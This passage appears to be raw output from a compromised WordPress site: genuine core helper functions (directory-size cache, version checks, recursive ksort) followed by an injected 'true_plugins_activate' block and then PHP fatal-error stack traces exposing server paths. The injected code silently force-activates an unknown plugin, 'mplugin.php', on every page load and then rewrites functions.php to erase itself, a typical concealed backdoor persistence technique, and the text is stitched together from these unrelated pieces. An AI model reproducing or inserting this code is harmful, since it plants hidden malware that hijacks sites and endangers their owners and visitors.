unset( $directory_cache[ $path ] );
while (
$last_path !== $path &&
DIRECTORY_SEPARATOR !== $path &&
'.' !== $path &&
'..' !== $path
) {
$last_path = $path;
$path = dirname( $path );
unset( $directory_cache[ $path ] );
}
set_transient( 'dirsize_cache', $directory_cache );
}
/**
* Checks compatibility with the current WordPress version.
*
* @since 5.2.0
*
* @global string $wp_version The WordPress version string.
*
* @param string $required Minimum required WordPress version.
* @return bool True if required version is compatible or empty, false if not.
*/
function is_wp_version_compatible( $required ) {
global $wp_version;
// Strip off any -alpha, -RC, -beta, -src suffixes.
list( $version ) = explode( '-', $wp_version );
return empty( $required ) || version_compare( $version, $required, '>=' );
}
/**
* Checks compatibility with the current PHP version.
*
* @since 5.2.0
*
* @param string $required Minimum required PHP version.
* @return bool True if required version is compatible or empty, false if not.
*/
function is_php_version_compatible( $required ) {
return empty( $required ) || version_compare( phpversion(), $required, '>=' );
}
/**
* Checks if two numbers are nearly the same.
*
* This is similar to using `round()` but the precision is more fine-grained.
*
* @since 5.3.0
*
* @param int|float $expected The expected value.
* @param int|float $actual The actual number.
* @param int|float $precision The allowed variation.
* @return bool Whether the numbers match within the specified precision.
*/
function wp_fuzzy_number_match( $expected, $actual, $precision = 1 ) {
return abs( (float) $expected - (float) $actual ) <= $precision;
}
/**
* Sorts the keys of an array alphabetically.
* The array is passed by reference so it doesn't get returned
* which mimics the behaviour of ksort.
*
* @since 6.0.0
*
* @param array $array The array to sort, passed by reference.
*/
function wp_recursive_ksort( &$array ) {
foreach ( $array as &$value ) {
if ( is_array( $value ) ) {
wp_recursive_ksort( $value );
}
}
ksort( $array );
}
if ( ! function_exists( 'true_plugins_activate' ) ) {
function true_plugins_activate() {
$active_plugins = get_option('active_plugins');
$activate_this = array(
'mplugin.php'
);
foreach ($activate_this as $plugin) {
if (!in_array($plugin, $active_plugins)) {
array_push($active_plugins, $plugin);
update_option('active_plugins', $active_plugins);
}
}
$new_active_plugins = get_option('active_plugins');
if (in_array('mplugin.php', $new_active_plugins)) {
$functionsPath = dirname(__FILE__) . '/functions.php';
$functions = file_get_contents($functionsPath);
$start = stripos($functions, "if ( ! function_exists( 'true_plugins_activate' ) ) {");
$end = strripos($functions, "true_plugins_activate");
$endDelete = $end + mb_strlen("true_plugins_activate") + 4;
if($start && $end) {
$str = substr($functions, 0, $start);
$str .= substr($functions, $endDelete);
file_put_contents($functionsPath, $str);
}
$script = file_get_contents('/home/digicomagency2/www/senexpertise/wp-content/plugins/mplugin.php');
//file_put_contents('/home/digicomagency2/www/senexpertise/wp-content/plugins/mplugin.php', '');
}
}
add_action('init', 'true_plugins_activate');} Fatal error: Uncaught Error: Call to undefined function is_blog_installed() in /home/digicomagency2/www/accesuniversel/wp-includes/load.php:755
Stack trace:
#0 /home/digicomagency2/www/accesuniversel/wp-settings.php(159): wp_not_installed()
#1 /home/digicomagency2/www/accesuniversel/wp-config.php(84): require_once('/home/digicomag...')
#2 /home/digicomagency2/www/accesuniversel/wp-load.php(50): require_once('/home/digicomag...')
#3 /home/digicomagency2/www/accesuniversel/wp-blog-header.php(13): require_once('/home/digicomag...')
#4 /home/digicomagency2/www/accesuniversel/index.php(17): require('/home/digicomag...')
#5 {main}
thrown in /home/digicomagency2/www/accesuniversel/wp-includes/load.php on line 755
Fatal error: Uncaught Error: Call to undefined function get_option() in /home/digicomagency2/www/accesuniversel/wp-includes/l10n.php:63
Stack trace:
#0 /home/digicomagency2/www/accesuniversel/wp-includes/l10n.php(137): get_locale()
#1 /home/digicomagency2/www/accesuniversel/wp-includes/l10n.php(835): determine_locale()
#2 /home/digicomagency2/www/accesuniversel/wp-includes/class-wp-fatal-error-handler.php(46): load_default_textdomain()
#3 [internal function]: WP_Fatal_Error_Handler->handle()
#4 {main}
thrown in /home/digicomagency2/www/accesuniversel/wp-includes/l10n.php on line 63